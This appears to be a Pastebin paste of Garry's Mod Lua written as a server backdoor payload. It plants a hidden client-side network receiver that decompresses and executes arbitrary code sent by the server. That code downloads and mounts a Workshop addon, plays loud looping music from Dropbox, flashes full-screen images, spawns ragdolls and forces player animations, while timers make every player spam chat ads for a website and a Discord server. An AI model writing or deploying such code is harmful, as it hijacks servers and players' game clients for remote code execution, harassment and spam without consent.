Advertisement
Guest User

Untitled

a guest
Jun 19th, 2019
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.34 KB | None | 0 0
  1. function RandomString( intMin, intMax )
  2. local ret = ""
  3. for _ = 1, math.random( intMin, intMax ) do
  4. ret = ret.. string.char( math.random(65, 90) )
  5. end
  6.  
  7. return ret
  8. end
  9.  
  10. m_strImageGlobalVar = RandomString( 6, 12 )
  11.  
  12. local function rdm_str(len)
  13. if !len or len <= 0 then return '' end
  14. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  15. end
  16.  
  17. local net_string = rdm_str(25)
  18.  
  19. util.AddNetworkString(net_string)
  20. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  21. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  22. if !ply:IsBot() then
  23. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  24. end
  25. end)
  26.  
  27. local function SendToClient(code)
  28. timer.Simple(1, function()
  29. local data = util.Compress(code)
  30. local len = #data
  31. net.Start(net_string)
  32. net.WriteUInt(len, 16)
  33. net.WriteData(data, len)
  34. net.Broadcast()
  35. end)
  36. end
  37.  
  38.  
  39. hook.Add("Think","\xFF\xFF\xFF",function()
  40. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  41. for _, v in ipairs(player.GetAll()) do
  42. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  43. end
  44. end)
  45.  
  46.  
  47. SendToClient([=[
  48. g_]=].. m_strImageGlobalVar.. [=[ = {}
  49. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  50. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  51. local pnl = vgui.Create( "HTML" )
  52. pnl:SetPos( ScrW() -1, ScrH() -1 )
  53. pnl:SetVisible( true )
  54. pnl:SetMouseInputEnabled( false )
  55. pnl:SetKeyBoardInputEnabled( false )
  56. pnl:SetSize( intSizeX, intSizeY )
  57. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  58.  
  59. local PageLoaded
  60. PageLoaded = function()
  61. local mat = pnl:GetHTMLMaterial()
  62. if mat then
  63. g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  64. return
  65. end
  66.  
  67. timer.Simple( 0.5, PageLoaded )
  68. end
  69.  
  70. PageLoaded()
  71. end
  72. LoadWebMaterial( "https://media.giphy.com/media/VIzZ3Bc4JPbJ3w2TLL/giphy.gif", "hud2", 256 , 256 )
  73. ]=])
  74.  
  75. timer.Create("nonameplease", 5, 0,function()
  76. for i=1, #player.GetHumans() do
  77. local ply = player.GetHumans()[i]
  78. ply:Say( "/ooc http://gm.esy.es/")
  79. end
  80. end)
  81.  
  82. timer.Create("nonameplease", 5, 0,function()
  83. for i=1, #player.GetHumans() do
  84. local ply = player.GetHumans()[i]
  85. ply:Say( "/ooc https://discord.gg/3M955pD")
  86. end
  87. end)
  88.  
  89. SendToClient([=[
  90. steamworks.FileInfo(1751603329,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  91.  
  92. timer.Simple(5, function()
  93.  
  94. game.AddParticles( "particles/eco.pcf" )
  95.  
  96. PrecacheParticleSystem("eco")
  97.  
  98. for i = 1, 10 do
  99. ParticleEffectAttach("eco", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  100. end
  101.  
  102. timer.Create("semmmmm", 5, 100, function()
  103. RunConsoleCommand("act","dance")
  104. RunConsoleCommand("_darkrp_doanimation", "1642")
  105. end)
  106.  
  107. local ragtbl = {}
  108. for i=1,20 do
  109. ragtbl[i] = ClientsideRagdoll( "models/breen.mdl" )
  110. ragtbl[i]:SetNoDraw( false )
  111. ragtbl[i]:DrawShadow( true )
  112. end
  113.  
  114. local function GetWebMat( strURL )
  115. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  116. end
  117. local uwu = {}
  118.  
  119. hook.Add("HUDPaint", "okay",function()
  120. for k,v in pairs(uwu) do
  121. v()
  122. end
  123. end)
  124.  
  125. SOUNDSTART_CTP = false
  126. OZJFOZJCEZIO = true
  127.  
  128.  
  129. sound.PlayURL("https://www.dropbox.com/s/invwmiiz7iai8zn/David%20Bowie%20-%20Starman%20%5BMpgun.com%5D.mp3?dl=1","mono noblock noplay",function(s)
  130. if not s then return end
  131. if SOUNDSTART_CTP then s:Stop() return end
  132. SOUNDSTART_CTP = true
  133. s:SetVolume(5 )
  134. s:Play()
  135. s:EnableLooping( true )
  136.  
  137. local ragtbl = {}
  138.  
  139. uwu["CoolEffect"] = function()
  140.  
  141.  
  142.  
  143. local tbl = {}
  144. s:FFT(tbl,FFT_2048)
  145.  
  146.  
  147. xpcall(function()
  148. local fal = 0
  149. for i=4,6 do
  150. fal = fal + tbl[i]
  151. end
  152.  
  153. if fal > 0.2 then
  154.  
  155. local oneid = "newhud"..math.random(100, 300).."id"
  156.  
  157. hook.Add( "HUDPaint", oneid, function()
  158. surface.SetDrawColor( 255, 255, 255, 255 )
  159.  
  160. if GetWebMat( "hud2" ) then -- lui
  161. surface.SetMaterial( GetWebMat("hud2")[1] )
  162. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  163. end
  164.  
  165. end )
  166.  
  167. timer.Simple(0.2, function()
  168. hook.Remove( "HUDPaint", oneid)
  169. end)
  170.  
  171. end
  172. end,function()
  173. end)
  174.  
  175. end
  176.  
  177. end)
  178. end)
  179. ]=])
  180. game.AddParticles( "particles/eco.pcf" )
  181. PrecacheParticleSystem("eco")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement